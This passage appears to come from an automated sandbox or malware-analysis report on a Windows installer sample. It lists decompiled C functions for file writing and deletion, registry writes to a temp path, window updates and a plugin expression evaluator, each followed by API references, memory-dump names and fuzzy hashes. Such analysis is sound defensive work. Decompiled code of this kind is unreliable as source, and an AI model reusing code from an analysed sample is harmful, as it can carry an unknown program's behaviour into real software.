									return _t34;
								}
								if(_v4 !=  *((intOrPtr*)(_a4 + 0x814))) {
									_v4 = _v4 + 1;
								} else {
									_v4 = _v4 & 0x00000000;
								}
								continue;
							}
							if(_t33 == 2) {
								 *_t49 = E10001641(_t63);
								_t49[1] = _t59;
								goto L31;
							}
							_t73 = _t33 - 3;
							if(_t73 == 0) {
								_t36 = E10001550(_t63);
								 *(_t62 + 0x1c) = _t36;
								goto L27;
							}
							if(_t73 > 0) {
								if(_t33 <= 5) {
									_t61 = GlobalAlloc(0x40,  *0x10004058 +  *0x10004058);
									 *(_t62 + 0x1c) = _t61;
									MultiByteToWideChar(0, 0, _t63,  *0x10004058, _t61,  *0x10004058);
									if( *_t62 != 5) {
										 *_t49 = _t61;
									} else {
										_t43 = GlobalAlloc(0x40, 0x10);
										 *(_t62 + 0x1c) = _t43;
										 *_t49 = _t43;
										__imp__CLSIDFromString(_t61, _t43);
										GlobalFree(_t61);
									}
								} else {
									if(_t33 == 6 && lstrlenA(_t63) > 0) {
										 *_t60 = E1000276E(E10001641(_t63));
									}
								}
							}
						}
						goto L31;
					}
					L9:
					_t32 = E10001550(0x10004034);
					goto L10;
				}
			}

0x10002440
0x10002454
0x10002458
0x10002463
0x10002463
0x1000246a
0x1000246f
0x00000000
0x00000000
0x10002473
0x10002476
0x00000000
0x00000000
0x1000247b
0x10002486
0x10002496
0x1000248d
0x1000248f
0x100024a5
0x100024a5
0x00000000
0x1000247d
0x1000247d
0x100024a6
0x100024aa
0x100024ac
0x100024ac
0x100024af
0x100024b5
0x100024b1
0x100024b1
0x100024b1
0x100024b7
0x100024b9
0x100024bf
0x1000258a
0x100024c5
0x100024c8
0x10002583
0x1000256f
0x10002570
0x1000258d
0x1000258e
0x10002599
0x100025c3
0x100025c3
0x100025a9
0x100025b5
0x100025ab
0x100025ab
0x100025ab
0x00000000
0x100025a9
0x100024d1
0x1000257b
0x1000257d
0x00000000
0x1000257d
0x100024d7
0x100024da
0x10002567
0x1000256c
0x00000000
0x1000256c
0x100024e0
0x100024e9
0x10002525
0x10002527
0x10002537
0x10002540
0x10002562
0x10002542
0x10002546
0x1000254d
0x10002551
0x10002553
0x1000255a
0x1000255a
0x100024eb
0x100024ee
0x10002510
0x10002512
0x100024ee
0x100024e9
0x100024e0
0x00000000
0x100024bf
0x1000249b
0x100024a0
0x00000000
0x100024a0

APIs

lstrlenA.KERNEL32(?), ref: 100024F5
GlobalAlloc.KERNEL32(00000040,?), ref: 1000251F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 10002537
GlobalAlloc.KERNEL32(00000040,00000010), ref: 10002546
CLSIDFromString.OLE32(00000000,00000000), ref: 10002553
GlobalFree.KERNEL32 ref: 1000255A
GlobalFree.KERNEL32 ref: 1000258E

Part of subcall function 10001550: lstrcpyA.KERNEL32(00000000,?,10001607,?,100011A1,-000000A0), ref: 1000155A

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpylstrlen
String ID:
API String ID: 520554397-0
Opcode ID: 73698bcf168bc25748ca8d9a57d83aa9733e480b4e517d970f119df6c2bd3c01
Instruction ID: 5e8646e4445d362173c86146a51869b75f136194909619477c3c659b9c9ef311
Opcode Fuzzy Hash: 73698bcf168bc25748ca8d9a57d83aa9733e480b4e517d970f119df6c2bd3c01
Instruction Fuzzy Hash: 5041BB71505B02DFF324CF248C94B6AB7F8FB443E2F614919F946DA189DB70E8808B66

Uniqueness

Uniqueness Score: -1.00%

Function 0040267C, Relevance: 10.6, APIs: 7, Instructions: 89
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040267C(struct _OVERLAPPED* __ebx) {
				void* _t27;
				long _t32;
				struct _OVERLAPPED* _t47;
				void* _t51;
				void* _t53;
				void* _t56;
				void* _t57;
				void* _t58;

				_t47 = __ebx;
				 *(_t58 - 8) = 0xfffffd66;
				_t52 = E004029F6(0xfffffff0);
				 *(_t58 - 0x44) = _t24;
				if(E0040553D(_t52) == 0) {
					E004029F6(0xffffffed);
				}
				E00405695(_t52);
				_t27 = E004056B4(_t52, 0x40000000, 2);
				 *(_t58 + 8) = _t27;
				if(_t27 != 0xffffffff) {
					_t32 =  *0x423e94;
					 *(_t58 - 0x2c) = _t32;
					_t51 = GlobalAlloc(0x40, _t32);
					if(_t51 != _t47) {
						E00403080(_t47);
						E0040304E(_t51,  *(_t58 - 0x2c));
						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x1c));
						 *(_t58 - 0x30) = _t56;
						if(_t56 != _t47) {
							E00402E5B( *((intOrPtr*)(_t58 - 0x20)), _t47, _t56,  *(_t58 - 0x1c));
							while( *_t56 != _t47) {
								_t49 =  *_t56;
								_t57 = _t56 + 8;
								 *(_t58 - 0x38) =  *_t56;
								E00405675( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
								_t56 = _t57 +  *(_t58 - 0x38);
							}
							GlobalFree( *(_t58 - 0x30));
						}
						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x2c), _t58 - 8, _t47);
						GlobalFree(_t51);
						 *(_t58 - 8) = E00402E5B(0xffffffff,  *(_t58 + 8), _t47, _t47);
					}
					CloseHandle( *(_t58 + 8));
				}
				_t53 = 0xfffffff3;
				if( *(_t58 - 8) < _t47) {
					_t53 = 0xffffffef;
					DeleteFileA( *(_t58 - 0x44));
					 *((intOrPtr*)(_t58 - 4)) = 1;
				}
				_push(_t53);
				E00401423();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t58 - 4));
				return 0;
			}

0x0040267c
0x0040267e
0x0040268a
0x0040268d
0x00402697
0x0040269b
0x0040269b
0x004026a1
0x004026ae
0x004026b6
0x004026b9
0x004026bf
0x004026cd
0x004026d2
0x004026d6
0x004026d9
0x004026e2
0x004026ee
0x004026f2
0x004026f5
0x004026ff
0x0040271e
0x00402706
0x0040270b
0x00402713
0x00402716
0x0040271b
0x0040271b
0x00402725
0x00402725
0x00402737
0x0040273e
0x00402750
0x00402750
0x00402756
0x00402756
0x00402761
0x00402762
0x00402766
0x0040276a
0x00402770
0x00402770
0x00402777
0x00402164
0x0040288e
0x0040289a

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D0
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026EC
GlobalFree.KERNEL32 ref: 00402725
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402737
GlobalFree.KERNEL32 ref: 0040273E
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402756
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040276A

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: b65008d77356e61c7ec7953c9ee0e327e44be4943e63621df6e0ee83a23bc65b
Instruction ID: 12be5ee7c0a04460072f4a22dab7179149aa53ae67e7a866020ad89d1ba75591
Opcode Fuzzy Hash: b65008d77356e61c7ec7953c9ee0e327e44be4943e63621df6e0ee83a23bc65b
Instruction Fuzzy Hash: 5831C071C00128BBDF216FA5CD88EAE7E79EF04368F10423AF524762E0C7795D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404D7B, Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404D7B(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423664;
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x423f34;
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E004059FF(0, _t39, 0x41fc50, 0x41fc50, _a4);
					}
					_t26 = lstrlenA(0x41fc50);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423648, 0x41fc50);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41fc50;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41fc50)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41fc50, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00404d81
0x00404d8d
0x00404d90
0x00404d96
0x00404da2
0x00404da5
0x00404da8
0x00404dae
0x00404dae
0x00404db4
0x00404dbc
0x00404dbf
0x00404ddc
0x00404de0
0x00404de9
0x00404de9
0x00404df3
0x00404dfc
0x00404e08
0x00404e0f
0x00404e13
0x00404e16
0x00404e29
0x00404e37
0x00404e37
0x00404e3b
0x00404e3d
0x00404e40
0x00000000
0x00404e40
0x00404dc1
0x00404dc9
0x00404dd1
0x00404dd7
0x00000000
0x00404dd7
0x00404dd1
0x00404dbf
0x00404e4a

APIs

lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
SendMessageA.USER32 ref: 00404E0F
SendMessageA.USER32 ref: 00404E29
SendMessageA.USER32 ref: 00404E37

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: aa11647610f970b6d5c89beb7753eaef7f091513a46ac0765cbf1dd94c7bd241
Instruction ID: 7f48be0438031ac4014e4461c76190d89e96d247d5b12388d0b77bfdc4e74ae1
Opcode Fuzzy Hash: aa11647610f970b6d5c89beb7753eaef7f091513a46ac0765cbf1dd94c7bd241
Instruction Fuzzy Hash: 09216DB1E00158BBDB119FA5CD84ADEBFB9FF45354F14807AFA04B6290C7398A419B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040464A, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040464A(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404658
0x00404665
0x0040466b
0x004046a9
0x004046a9
0x004046b8
0x004046bf
0x00000000
0x004046c1
0x0040466d
0x0040467c
0x00404684
0x00404687
0x00404699
0x0040469f
0x004046a6
0x00000000
0x004046a6
0x00000000

APIs

SendMessageA.USER32 ref: 00404665
GetMessagePos.USER32 ref: 0040466D
ScreenToClient.USER32 ref: 00404687
SendMessageA.USER32 ref: 00404699
SendMessageA.USER32 ref: 004046BF

Strings

f, xrefs: 0040469B

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction ID: 811e074b116e6ce6d11e192741490be2760717d42b69e64a674173994bb84636
Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
Instruction Fuzzy Hash: 4E014C71D00219BADB00DBA4DC85FFEBBB8AB59711F10052ABA00B61D0D7B8A9058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B3B, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B3B(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x40b018; // 0x7e00
					_t11 =  *0x41f028;
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b48
0x00402b56
0x00402b5c
0x00402b5c
0x00402b6a
0x00402b6c
0x00402b72
0x00402b79
0x00402b7b
0x00402b7b
0x00402b91
0x00402ba1
0x00402bb3
0x00402bb3
0x00402bbb

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B56
MulDiv.KERNEL32(00007E00,00000064,?), ref: 00402B81
wsprintfA.USER32 ref: 00402B91
SetWindowTextA.USER32(?,?), ref: 00402BA1
SetDlgItemTextA.USER32 ref: 00402BB3

Strings

verifying installer: %d%%, xrefs: 00402B8B

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: bd1d3871bc3dbc50f966d73cf0113ae7f1e1d2dda644773975aa317f12337262
Instruction ID: e41715c37a5330c5740685503c003044c4943c79b663b03d39d41db920bc543d
Opcode Fuzzy Hash: bd1d3871bc3dbc50f966d73cf0113ae7f1e1d2dda644773975aa317f12337262
Instruction Fuzzy Hash: 34014470A00209ABDB249F60DD09EAE3779AB04345F008039FA16B92D1D7B49A559F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402303, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00402303(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				char _t24;
				int _t27;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402AEB(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x14));
				 *(_t37 - 0x30) =  *(_t37 - 0x10);
				 *(_t37 - 0x44) = E004029F6(2);
				_t18 = E004029F6(0x11);
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27,  *0x423f30 | 0x00000002, _t27, _t37 + 8, _t27);
				if(_t19 == 0) {
					if(_t35 == 1) {
						E004029F6(0x23);
						_t19 = lstrlenA(0x40a350) + 1;
					}
					if(_t35 == 4) {
						_t24 = E004029D9(3);
						 *0x40a350 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402E5B( *((intOrPtr*)(_t37 - 0x18)), _t27, 0x40a350, 0xc00);
					}
					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x44), _t27,  *(_t37 - 0x30), 0x40a350, _t19) == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x423f08 =  *0x423f08 +  *(_t37 - 4);
				return 0;
			}

0x00402304
0x00402309
0x00402313
0x0040231d
0x00402320
0x0040233a
0x00402341
0x00402349
0x00402357
0x0040235b
0x00402366
0x00402366
0x0040236a
0x0040236e
0x00402374
0x00402379
0x00402379
0x0040237d
0x00402389
0x00402389
0x004023a2
0x004023a4
0x004023a4
0x004023a7
0x0040247d
0x0040247d
0x0040288e
0x0040289a

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402341
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsf9A32.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402361
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsf9A32.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040239A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsf9A32.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040247D

Strings

C:\Users\user\AppData\Local\Temp\nsf9A32.tmp, xrefs: 00402352, 00402360, 00402374, 00402384, 0040238F

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsf9A32.tmp
API String ID: 1356686001-1457448878
Opcode ID: 9ba96a6a32475b5f8f04ccfbc4be301ddec9fd1a1c55997cdc687cc56a4b0e43
Instruction ID: 0c84a363429982d99d3a5a271a87b4b8d308e401ccf86a25fc22d5166c0076e5
Opcode Fuzzy Hash: 9ba96a6a32475b5f8f04ccfbc4be301ddec9fd1a1c55997cdc687cc56a4b0e43
Instruction Fuzzy Hash: 781163B1E00209BFEB10AFA4DE49EAF767CFB40358F10413AF901B61D0D6B85D019669

Uniqueness

Uniqueness Score: -1.00%

Function 10001ADF, Relevance: 7.7, APIs: 5, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E10001ADF(signed int __edx, void* __eflags, void* _a8, void* _a16) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v148;
				void _t46;
				void _t47;
				signed int _t48;
				signed int _t49;
				signed int _t58;
				signed int _t59;
				signed int _t61;
				signed int _t62;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				signed int _t78;
				void* _t82;
				signed int _t86;
				signed int _t88;
				signed int _t91;
				void* _t102;

				_t86 = __edx;
				 *0x10004058 = _a8;
				_t78 = 0;
				 *0x1000405c = _a16;
				_v8 = 0;
				_a16 = E10001561();
				_a8 = E10001561();
				_t91 = E10001641(_a16);
				_t82 = _a8;
				_t88 = _t86;
				_t46 =  *_t82;
				if(_t46 != 0x7e && _t46 != 0x21) {
					_v16 = E10001561();
					_t78 = E10001641(_t75);
					_v8 = _t86;
					GlobalFree(_v16);
					_t82 = _a8;
				}
				_t47 =  *_t82;
				_t102 = _t47 - 0x2f;
				if(_t102 > 0) {
					_t48 = _t47 - 0x3c;
					__eflags = _t48;
					if(_t48 == 0) {
						__eflags =  *((char*)(_t82 + 1)) - 0x3c;
						if( *((char*)(_t82 + 1)) != 0x3c) {
							__eflags = _t88 - _v8;
							if(__eflags > 0) {
								L54:
								_t49 = 0;
								__eflags = 0;
								L55:
								asm("cdq");
								L56:
								_t91 = _t49;
								_t88 = _t86;
								L57:
								E1000176C(_t86, _t91, _t88,  &_v148);
								E1000159E( &_v148);
								GlobalFree(_a16);
								return GlobalFree(_a8);
							}
							if(__eflags < 0) {
								L47:
								__eflags = 0;
								L48:
								_t49 = 1;
								goto L55;
							}
							__eflags = _t91 - _t78;
							if(_t91 < _t78) {
								goto L47;
							}
							goto L54;
						}
						_t86 = _t88;
						_t49 = E10002BF0(_t91, _t78, _t86);
						goto L56;
					}
					_t58 = _t48 - 1;
					__eflags = _t58;
					if(_t58 == 0) {
						__eflags = _t91 - _t78;
						if(_t91 != _t78) {
							goto L54;
						}
						__eflags = _t88 - _v8;
						if(_t88 != _v8) {
							goto L54;
						}
						goto L47;
					}
					_t59 = _t58 - 1;
					__eflags = _t59;
					if(_t59 == 0) {
						__eflags =  *((char*)(_t82 + 1)) - 0x3e;
						if( *((char*)(_t82 + 1)) != 0x3e) {
							__eflags = _t88 - _v8;
							if(__eflags < 0) {
								goto L54;
							}
							if(__eflags > 0) {
								goto L47;
							}
							__eflags = _t91 - _t78;
							if(_t91 <= _t78) {
								goto L54;
							}
							goto L47;
						}
						_t86 = _t88;
						_t49 = E10002C10(_t91, _t78, _t86);
						goto L56;
					}
					_t61 = _t59 - 0x20;
					__eflags = _t61;
					if(_t61 == 0) {
						_t91 = _t91 ^ _t78;
						_t88 = _t88 ^ _v8;
						goto L57;
					}
					_t62 = _t61 - 0x1e;
					__eflags = _t62;
					if(_t62 == 0) {
						__eflags =  *((char*)(_t82 + 1)) - 0x7c;
						if( *((char*)(_t82 + 1)) != 0x7c) {
							_t91 = _t91 | _t78;
							_t88 = _t88 | _v8;
							goto L57;
						}
						__eflags = _t91 | _t88;
						if((_t91 | _t88) != 0) {
							goto L47;
						}
						__eflags = _t78 | _v8;
						if((_t78 | _v8) != 0) {
							goto L47;
						}
						goto L54;
					}
					__eflags = _t62 == 0;
					if(_t62 == 0) {
						_t91 =  !_t91;
						_t88 =  !_t88;
					}
					goto L57;
				}
				if(_t102 == 0) {
					L21:
					__eflags = _t78 | _v8;
					if((_t78 | _v8) != 0) {
						_v20 = E10002A80(_t91, _t88, _t78, _v8);
						_v16 = _t86;
						_t49 = E10002B30(_t91, _t88, _t78, _v8);
						_t82 = _a8;
					} else {
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_t49 = _t91;
						_t86 = _t88;
					}
					__eflags =  *_t82 - 0x2f;
					if( *_t82 != 0x2f) {
						goto L56;
					} else {
						_t91 = _v20;
						_t88 = _v16;
						goto L57;
					}
				}
				_t68 = _t47 - 0x21;
				if(_t68 == 0) {
					_t49 = 0;
					__eflags = _t91 | _t88;
					if((_t91 | _t88) != 0) {
						goto L55;
					}
					goto L48;
				}
				_t69 = _t68 - 4;
				if(_t69 == 0) {
					goto L21;
				}
				_t70 = _t69 - 1;
				if(_t70 == 0) {
					__eflags =  *((char*)(_t82 + 1)) - 0x26;
					if( *((char*)(_t82 + 1)) != 0x26) {
						_t91 = _t91 & _t78;
						_t88 = _t88 & _v8;
						goto L57;
					}
					__eflags = _t91 | _t88;
					if((_t91 | _t88) == 0) {
						goto L54;
					}
					__eflags = _t78 | _v8;
					if((_t78 | _v8) == 0) {
						goto L54;
					}
					goto L47;
				}
				_t71 = _t70 - 4;
				if(_t71 == 0) {
					_t49 = E10002A40(_t91, _t88, _t78, _v8);
					goto L56;
				} else {
					_t72 = _t71 - 1;
					if(_t72 == 0) {
						_t91 = _t91 + _t78;
						asm("adc edi, [ebp-0x4]");
					} else {
						if(_t72 == 0) {
							_t91 = _t91 - _t78;
							asm("sbb edi, [ebp-0x4]");
						}
					}
					goto L57;
				}
			}

0x10001adf
0x10001aec
0x10001af5
0x10001af8
0x10001afd
0x10001b05
0x10001b10
0x10001b19
0x10001b1b
0x10001b1e
0x10001b20
0x10001b24
0x10001b30
0x10001b39
0x10001b3e
0x10001b41
0x10001b47
0x10001b47
0x10001b4a
0x10001b4d
0x10001b50
0x10001c16
0x10001c16
0x10001c19
0x10001c82
0x10001c86
0x10001c95
0x10001c98
0x10001ca0
0x10001ca0
0x10001ca0
0x10001ca2
0x10001ca2
0x10001ca3
0x10001ca3
0x10001ca5
0x10001ca7
0x10001cb0
0x10001cbc
0x10001ccd
0x10001cd8
0x10001cd8
0x10001c9a
0x10001c7d
0x10001c7d
0x10001c7f
0x10001c7f
0x00000000
0x10001c7f
0x10001c9c
0x10001c9e
0x00000000
0x00000000
0x00000000
0x10001c9e
0x10001c8a
0x10001c8e
0x00000000
0x10001c8e
0x10001c1b
0x10001c1b
0x10001c1c
0x10001c74
0x10001c76
0x00000000
0x00000000
0x10001c78
0x10001c7b
0x00000000
0x00000000
0x00000000
0x10001c7b
0x10001c1e
0x10001c1e
0x10001c1f
0x10001c54
0x10001c58
0x10001c67
0x10001c6a
0x00000000
0x00000000
0x10001c6c
0x00000000
0x00000000
0x10001c6e
0x10001c70
0x00000000
0x00000000
0x00000000
0x10001c72
0x10001c5c
0x10001c60
0x00000000
0x10001c60
0x10001c21
0x10001c21
0x10001c24
0x10001c4d
0x10001c4f
0x00000000
0x10001c4f
0x10001c26
0x10001c26
0x10001c29
0x10001c35
0x10001c39
0x10001c46
0x10001c48
0x00000000
0x10001c48
0x10001c3b
0x10001c3d
0x00000000
0x00000000
0x10001c3f
0x10001c42
0x00000000
0x00000000
0x00000000
0x10001c44
0x10001c2c
0x10001c2d
0x10001c2f
0x10001c31
0x10001c31
0x00000000
0x10001c2d
0x10001b56
0x10001bce
0x10001bd0
0x10001bd3
0x10001bf1
0x10001bf4
0x10001bfa
0x10001bff
0x10001bd5
0x10001bd5
0x10001bd9
0x10001bdd
0x10001bdf
0x10001bdf
0x10001c02
0x10001c05
0x00000000
0x10001c0b
0x10001c0b
0x10001c0e
0x00000000
0x10001c0e
0x10001c05
0x10001b58
0x10001b5b
0x10001bbf
0x10001bc1
0x10001bc3
0x00000000
0x00000000
0x00000000
0x10001bc9
0x10001b5d
0x10001b60
0x00000000
0x00000000
0x10001b62
0x10001b63
0x10001b99
0x10001b9d
0x10001bb5
0x10001bb7
0x00000000
0x10001bb7
0x10001b9f
0x10001ba1
0x00000000
0x00000000
0x10001ba7
0x10001baa
0x00000000
0x00000000
0x00000000
0x10001bb0
0x10001b65
0x10001b68
0x10001b8f
0x00000000
0x10001b6a
0x10001b6a
0x10001b6b
0x10001b7f
0x10001b81
0x10001b6d
0x10001b6f
0x10001b75
0x10001b77
0x10001b77
0x10001b6f
0x00000000
0x10001b6b

APIs

Part of subcall function 10001561: lstrcpyA.KERNEL32(00000000,?,?,?,10001804,?,10001017), ref: 1000157E
Part of subcall function 10001561: GlobalFree.KERNEL32 ref: 1000158F

GlobalFree.KERNEL32 ref: 10001B41
GlobalFree.KERNEL32 ref: 10001CCD
GlobalFree.KERNEL32 ref: 10001CD2

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
